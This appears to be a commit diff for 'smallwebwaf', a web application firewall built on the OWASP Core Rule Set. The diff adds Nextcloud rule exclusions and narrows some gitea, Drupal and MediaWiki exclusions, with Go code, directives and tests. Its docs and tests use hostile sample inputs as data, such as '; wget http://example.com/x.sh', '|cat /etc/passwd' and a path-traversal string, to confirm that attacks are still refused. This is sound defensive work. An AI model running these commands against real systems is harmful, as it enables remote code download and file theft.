Compare commits
5
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
909aca3170 | ||
|
|
3d9e3976b0 | ||
|
|
56d6a12cc2 | ||
|
|
922fe0cf71 | ||
|
|
d70fb34f40 |
No files matched your search
@@ -581,22 +581,24 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||
front of a code forge, bodies carry what people write and publish, which the
|
||||
rules take for attacks.
|
||||
- `smallwebwaf` changes the Core Rule Set in eleven ways so that ordinary
|
||||
requests get through to a code forge, to WordPress, to Drupal and to
|
||||
MediaWiki. They include git over HTTP and sign-in through Git Credential
|
||||
Manager on a code forge, and saving a post from the block editor on WordPress.
|
||||
On gitea's own paths, its searches, file names and branch names get through
|
||||
too. On WordPress's own paths, its searches, names and file names do. On
|
||||
Drupal's own paths, the page to return to, its searches and its names get
|
||||
- `smallwebwaf` changes the Core Rule Set in twelve ways so that ordinary
|
||||
requests get through to a code forge, to WordPress, to Drupal, to MediaWiki
|
||||
and to Nextcloud. They include git over HTTP and sign-in through Git
|
||||
Credential Manager on a code forge, and saving a post from the block editor on
|
||||
WordPress. On gitea's own paths, its searches, file names and branch names get
|
||||
through too. On WordPress's own paths, its searches, names and file names do.
|
||||
On Drupal's own paths, the page to return to, its searches and its names get
|
||||
through too. On MediaWiki's own paths, its searches, page titles, names and
|
||||
wikitext do. No setting undoes the changes; "Attack detection" in
|
||||
[`SPEC.md`](SPEC.md) lists them.
|
||||
wikitext do. On Nextcloud's own paths, its WebDAV methods, searches, file
|
||||
names, account names and comments do. No setting undoes the changes; "Attack
|
||||
detection" in [`SPEC.md`](SPEC.md) lists them.
|
||||
- These apps work out of the box at the default settings, and their recorded
|
||||
ordinary requests pass the Core Rule Set:
|
||||
- gitea;
|
||||
- WordPress;
|
||||
- Drupal;
|
||||
- MediaWiki.
|
||||
- MediaWiki;
|
||||
- Nextcloud, with its sync client.
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||
fields or paths.
|
||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||
|
||||
@@ -81,7 +81,7 @@ to them.
|
||||
of bans is full.
|
||||
- `internal/rules`: reads the rule files at start and again when they
|
||||
change, and tells which rules a request matches.
|
||||
- `internal/coreruleset`: the Core Rule Set, with the eleven changes listed
|
||||
- `internal/coreruleset`: the Core Rule Set, with the twelve changes listed
|
||||
under "Attack detection", as Coraza directives.
|
||||
- `internal/lookup`: looks clients up through GeoJS or in the lookup
|
||||
database.
|
||||
@@ -676,8 +676,8 @@ files, the limits and the bans still apply to the client that sends it.
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
|
||||
Coraza directives. An exclusion switches one rule off for some fields or paths
|
||||
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
|
||||
holds an app's own exclusions; the eighth to eleventh changes below hold
|
||||
gitea's, WordPress's, Drupal's and MediaWiki's.
|
||||
holds an app's own exclusions; the eighth to twelfth changes below hold
|
||||
gitea's, WordPress's, Drupal's, MediaWiki's and Nextcloud's.
|
||||
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
|
||||
before the Core Rule Set's rules. The Core Rule Set loads its own
|
||||
`REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
|
||||
@@ -723,13 +723,15 @@ files, the limits and the bans still apply to the client that sends it.
|
||||
scanner from an ordinary client. In front of a code forge, registry and git
|
||||
clients get `404` and `401` by design, hundreds of times a minute.
|
||||
|
||||
`smallwebwaf` changes the Core Rule Set 4.25.0 in eleven ways, since in front of
|
||||
gitea, WordPress, Drupal and MediaWiki it would otherwise refuse ordinary
|
||||
requests. The changes hold in front of every app, and no setting undoes them:
|
||||
`smallwebwaf` changes the Core Rule Set 4.25.0 in twelve ways, since in front of
|
||||
gitea, WordPress, Drupal, MediaWiki and Nextcloud it would otherwise refuse
|
||||
ordinary requests. The changes hold in front of every app, and no setting undoes
|
||||
them:
|
||||
|
||||
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
|
||||
and `OPTIONS`. APIs, container image pushes and package uploads use them.
|
||||
Other methods stay refused.
|
||||
Other methods stay refused, except on Nextcloud's WebDAV paths, where the
|
||||
twelfth change allows the WebDAV methods Nextcloud uses.
|
||||
2. The request header `Expect` is allowed, since curl and git send it before
|
||||
some large uploads. `Content-Encoding` is allowed on a request whose body the
|
||||
Core Rule Set does not read, which by default is every request. git
|
||||
@@ -756,10 +758,10 @@ requests. The changes hold in front of every app, and no setting undoes them:
|
||||
catch reaches the app, such as the command `|cat /etc/passwd`. Path
|
||||
traversal, SQL and script injection, and PHP, Java and Node.js code are
|
||||
still refused there. Other parameters keep all three rules, except on the
|
||||
gitea, WordPress, Drupal and MediaWiki paths the eighth to eleventh changes
|
||||
name. An app that uses one of these parameters as a file on the server, or
|
||||
passes it to a shell, must check the value itself. A rule file can refuse it
|
||||
instead.
|
||||
gitea, WordPress, Drupal, MediaWiki and Nextcloud paths the eighth to
|
||||
twelfth changes name. An app that uses one of these parameters as a file on
|
||||
the server, or passes it to a shell, must check the value itself. A rule
|
||||
file can refuse it instead.
|
||||
|
||||
5. Two cookies are left out, and `Referer` keeps fewer rules:
|
||||
- The Core Rule Set reads the request without the `gitea_flash` and
|
||||
@@ -977,6 +979,7 @@ requests. The changes hold in front of every app, and no setting undoes them:
|
||||
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
||||
- `name` when resetting a password through Drupal's JSON format on
|
||||
`/user/password`, for the same four rules.
|
||||
- `mail` in that same reset, for 932120 and 932260 only.
|
||||
- `name` when signing up, editing an account and commenting without an
|
||||
account, for the same four rules.
|
||||
- `mail` on those forms, for 930120, 932120 and 932260 only.
|
||||
@@ -1010,9 +1013,15 @@ requests. The changes hold in front of every app, and no setting undoes them:
|
||||
- `from` and `to`, the titles of a page being moved;
|
||||
- the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`,
|
||||
`aiprefix`, `aufrom` and `auprefix`;
|
||||
- `gsrsearch`, `gpssearch`, `gapfrom` and `gbltitle`, which a generator
|
||||
sends in place of `srsearch`, `pssearch`, `apfrom` and `bltitle`;
|
||||
- `letitle`, the page whose log is listed;
|
||||
- `euquery`, an address;
|
||||
- the fields a generator sends in place of the fields above, each with a
|
||||
`g` in front:
|
||||
- `gsrsearch` and `gpssearch`;
|
||||
- `gapfrom`, `gapto` and `gapprefix`;
|
||||
- `gaifrom` and `gaiprefix`;
|
||||
- `gbltitle`;
|
||||
- `geuquery`;
|
||||
- the user names `ucuser`, `bkusers` and `user`;
|
||||
- `summary`, `sectiontitle`, `filename`, `comment` and `reason`;
|
||||
- `lgname`, `lgpassword`, `username` and `password`, for signing in.
|
||||
@@ -1033,6 +1042,15 @@ requests. The changes hold in front of every app, and no setting undoes them:
|
||||
- `wpReason-other`, for blocking a user;
|
||||
- `user-reason`, for changing a user's groups;
|
||||
- `mwProtect-reason`, for protecting a page.
|
||||
- On MediaWiki's pages, `wpTitles`, the list of watched pages that
|
||||
`Special:EditWatchlist/raw` sends, one title per line. It always skips
|
||||
930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and
|
||||
932380 only when it holds no `;`, `|`, `&`, backtick or `{`. A title
|
||||
starting with a command name, such as `Python3 notes`, passes. So does a
|
||||
command alone on a line, such as `wget http://example.com/x.sh`. A command
|
||||
such as `; wget http://example.com/x.sh` is still refused. So is a list
|
||||
that mixes a title holding one of these characters with a title starting
|
||||
with a command name.
|
||||
- The wikitext of a page, which holds templates, tables and any code it
|
||||
shows:
|
||||
- `wpTextbox1` on MediaWiki's pages;
|
||||
@@ -1055,6 +1073,68 @@ requests. The changes hold in front of every app, and no setting undoes them:
|
||||
the site root or under `/w/`. An app other than MediaWiki that serves one of
|
||||
them must check these fields itself.
|
||||
|
||||
12. On Nextcloud's paths, some fields skip the rules that refused ordinary
|
||||
Nextcloud requests there, and its WebDAV methods are allowed.
|
||||
`internal/coreruleset/nextcloud.conf` lists each rule and the request it
|
||||
refused.
|
||||
|
||||
The sync client and the Files app use WebDAV. These methods are allowed on
|
||||
`/remote.php/dav/`, `/public.php/dav/`, `/remote.php/webdav/` and
|
||||
`/public.php/webdav/`, besides those of the first change:
|
||||
- `PROPFIND` and `PROPPATCH`;
|
||||
- `MKCOL`;
|
||||
- `COPY` and `MOVE`;
|
||||
- `REPORT` and `SEARCH`.
|
||||
|
||||
The cookie `nc_username` holds the name of the account signed in. It skips
|
||||
the lists of system files and command names (930120, 932120, 932250, 932260)
|
||||
on every path, since every request sends it.
|
||||
|
||||
These fields skip the same four rules, in the query or the body:
|
||||
- On `/login`, for signing in:
|
||||
- `user` and `password`;
|
||||
- `redirect_url`, the page to go to after signing in.
|
||||
- `dir`, the folder shown, on the paths under `/apps/files/`.
|
||||
- The file names on a public share:
|
||||
- `file` on the paths under `/apps/files_sharing/publicpreview/`;
|
||||
- `path` and `files` on `/s/<token>/download`.
|
||||
- On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`:
|
||||
- the searches `search` and `term`, and `from`, the page searched from;
|
||||
- the names `groupid`, `userid`, `displayName` and `groups[]`;
|
||||
- `value`, a new value of an account's details;
|
||||
- `path`, `label`, `note` and `shareWith`, for a share;
|
||||
- `message`, an account's status.
|
||||
|
||||
These fields of a JSON body skip the same four rules:
|
||||
- On the OCS API, each field of the list above.
|
||||
- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in
|
||||
the theming settings.
|
||||
- `filePath` on `/apps/text/session/<id>/save`, the document the editor
|
||||
saves.
|
||||
- `name` on `/remote.php/dav/systemtags/`, a new tag.
|
||||
|
||||
Some fields hold what a person writes. They skip the same four rules, and
|
||||
the two that refused a command after a `;`, such as `; ls -la` (932125,
|
||||
932230):
|
||||
- `autosaveContent` on `/apps/text/session/<id>/save`, the text of the
|
||||
document;
|
||||
- `message` in the JSON body that posts a comment to
|
||||
`/remote.php/dav/comments/files/<id>`;
|
||||
- the XML body of a `PROPPATCH` that edits a comment.
|
||||
|
||||
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
|
||||
skips the four rules.
|
||||
|
||||
932235 still refuses a command after a `;`, such as
|
||||
`; wget http://example.com/x.sh`, in every field. So a sentence in a comment
|
||||
with a command name such as `python3` right after a `;` is refused too.
|
||||
|
||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||
applies to a JSON field when the query has a parameter of that name, such as
|
||||
`json.message`. Nextcloud's pages are matched at the site root and under
|
||||
`/index.php/`. Elsewhere these fields keep every rule. An app other than
|
||||
Nextcloud that serves one of these paths must check these fields itself.
|
||||
|
||||
The parameter and cookie names in these changes are matched without regard to
|
||||
case, as Coraza matches them.
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||
// method, the URL with its query and the headers of a request, and on its
|
||||
// body while SWW_WAF_BODY_LIMIT is set, with the eleven changes sww
|
||||
// body while SWW_WAF_BODY_LIMIT is set, with the twelve changes sww
|
||||
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||
// response.
|
||||
@@ -34,7 +34,8 @@ import (
|
||||
// paranoia level for %d, bodyDirectives for the first %s while
|
||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
||||
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||
// drupalExclusions for the fifth, and mediawikiExclusions for the sixth.
|
||||
// drupalExclusions for the fifth, mediawikiExclusions for the sixth, and
|
||||
// nextcloudExclusions for the seventh.
|
||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||
// Core Rule Set keeps for the rules that set it up, which
|
||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||
@@ -91,7 +92,10 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
||||
# So does the tenth.
|
||||
%s
|
||||
|
||||
# And the eleventh.
|
||||
# So does the eleventh.
|
||||
%s
|
||||
|
||||
# And the twelfth.
|
||||
%s
|
||||
|
||||
# The sixth: only the rules for requests are loaded, and no response is
|
||||
@@ -206,6 +210,14 @@ var drupalExclusions string
|
||||
//go:embed mediawiki.conf
|
||||
var mediawikiExclusions string
|
||||
|
||||
// nextcloudExclusions are the twelfth change: the fields of Nextcloud's
|
||||
// own requests that skip the rules that refused them there, the WebDAV
|
||||
// methods it uses, and its cookie of the account's name, as Coraza
|
||||
// directives.
|
||||
//
|
||||
//go:embed nextcloud.conf
|
||||
var nextcloudExclusions string
|
||||
|
||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||
// without, the rest of the fifth change.
|
||||
//
|
||||
@@ -319,7 +331,7 @@ type CoreRuleSet struct {
|
||||
bodyLimit int64
|
||||
}
|
||||
|
||||
// New returns the Core Rule Set with the eleven changes, at params'
|
||||
// New returns the Core Rule Set with the twelve changes, at params'
|
||||
// paranoia level, without the rules it switches off, reading request
|
||||
// bodies up to params' limit, and with params' exclusions file loaded
|
||||
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||
@@ -348,7 +360,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
||||
|
||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||
giteaExclusions, wordpressExclusions, drupalExclusions,
|
||||
mediawikiExclusions)
|
||||
mediawikiExclusions, nextcloudExclusions)
|
||||
|
||||
if len(params.DisabledRules) > 0 {
|
||||
ids := make([]string, len(params.DisabledRules))
|
||||
|
||||
@@ -202,7 +202,7 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
}
|
||||
|
||||
// wantChange checks that crs lets through passes, a request one of the
|
||||
// eleven changes is for, and still finds result in refused, a request like
|
||||
// twelve changes is for, and still finds result in refused, a request like
|
||||
// it that the change is not for.
|
||||
func wantChange(
|
||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||
@@ -674,6 +674,33 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// gitea has no owner named api, so these are not a repository's search,
|
||||
// issues or pull requests. /api/v2/search is Mastodon's search.
|
||||
for _, path := range []string{
|
||||
"/api/v2/search",
|
||||
"/api/v2/issues",
|
||||
"/api/v2/pulls",
|
||||
} {
|
||||
for _, attack := range []string{
|
||||
sqlInjection,
|
||||
scriptInjection,
|
||||
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
|
||||
} {
|
||||
target := path + "?q=" + attack
|
||||
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// Nor is a page opened from them.
|
||||
for _, attack := range []string{scriptTag, injection} {
|
||||
referer := "Referer: https://example.com" + path + "?q=" + attack
|
||||
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
|
||||
t.Errorf("%s let through: %+v", referer, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
||||
|
||||
@@ -228,3 +228,12 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
||||
|
||||
# The same reset may name the account by its address in the JSON field mail:
|
||||
# POST /user/password?_format=json with a mail of python3@example.com. An
|
||||
# address skips only the two rules the recorded addresses set off.
|
||||
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
||||
"id:900818,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.mail "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
||||
@@ -182,13 +182,33 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||
scriptTag,
|
||||
`; wget http://example.com/x.sh`,
|
||||
`../../sites/default/settings.php`,
|
||||
} {
|
||||
for _, field := range []string{"name", "mail"} {
|
||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||
body := `{"` + field + `":"` + attack + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// An address keeps 932250, which refuses ls -la, and 930120, which
|
||||
// refuses system file names.
|
||||
for _, kept := range []struct {
|
||||
value string
|
||||
rule int
|
||||
}{
|
||||
{"ls -la", 932250},
|
||||
{".htaccess@example.com", 930120},
|
||||
} {
|
||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||
body := `{"name":"` + attack + `"}`
|
||||
body := `{"mail":"` + kept.value + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
||||
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -357,6 +377,16 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
||||
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||
body := `{"mail":"` + address + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
||||
@@ -436,4 +466,17 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// So does the JSON field mail.
|
||||
for _, target := range []string{
|
||||
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
|
||||
"/user/register?_format=json",
|
||||
} {
|
||||
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -35,41 +35,46 @@
|
||||
# 944100: java.lang.Runtime
|
||||
# 944110: java.lang.Runtime
|
||||
# 944130: java.lang.Runtime
|
||||
# gitea has no owner named api. A repository's search, issues, pull requests and
|
||||
# commit search with that owner get none of this. /api/v2/search, for example,
|
||||
# is Mastodon's search.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||
[^/]+/-/code|\
|
||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||
commits/(?:branch|tag|commit)/.+/search)|\
|
||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
||||
"id:900600,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||
"id:900600,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
|
||||
pulls|commits/(?:branch|tag|commit)/.+/search)$" \
|
||||
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||
|
||||
# A page opened from the results of one of those searches has the search's
|
||||
# address in Referer, which skips these rules then:
|
||||
@@ -78,17 +83,20 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||
# 941160: <img src=
|
||||
# 942100: LIKE '%foo%'
|
||||
# 944100: java.lang.Runtime
|
||||
# A repository with the owner api is left out here too.
|
||||
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
||||
issues(?:/search)?|pulls|[^/]+/-/code|\
|
||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||
commits/(?:branch|tag|commit)/.+/search)|\
|
||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
|
||||
"id:900601,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
|
||||
"id:900601,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
|
||||
issues(?:/search)?|pulls|commits/(?:branch|tag|commit)/.+/search)\?" \
|
||||
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
|
||||
|
||||
# gitea's searches of repositories, users, branches, tags and packages send a
|
||||
# name in q, which skips these rules there:
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
# Pages under /wiki/ need neither.
|
||||
#
|
||||
# Four rules read a search, a title or a name as a command or a system file.
|
||||
# Each exclusion below for such a field removes these four, and only these:
|
||||
# Each exclusion below for such a field removes these four:
|
||||
# 930120: .htaccess
|
||||
# 932120: powershell
|
||||
# 932250: ls -la
|
||||
@@ -55,9 +55,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
# aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3
|
||||
# aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3
|
||||
# bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes
|
||||
# gsrsearch, gpssearch, gapfrom, gbltitle: the same fields from a generator,
|
||||
# /api.php?action=query&generator=prefixsearch&gpssearch=python3
|
||||
# gsrsearch, gpssearch, gapfrom, gapto, gapprefix, gaifrom, gaiprefix,
|
||||
# gbltitle, geuquery: the same fields from a generator,
|
||||
# /api.php?action=query&generator=allpages&gapprefix=python3
|
||||
# euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3
|
||||
# letitle: /api.php?action=query&list=logevents&letitle=Python3+notes
|
||||
# ucuser: /api.php?action=query&list=usercontribs&ucuser=python3
|
||||
# bkusers: /api.php?action=query&list=blocks&bkusers=Python3
|
||||
# user: blocking, unblocking or changing the groups of a user, user=Python3
|
||||
@@ -71,10 +73,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
# allow.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
||||
"id:900901,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
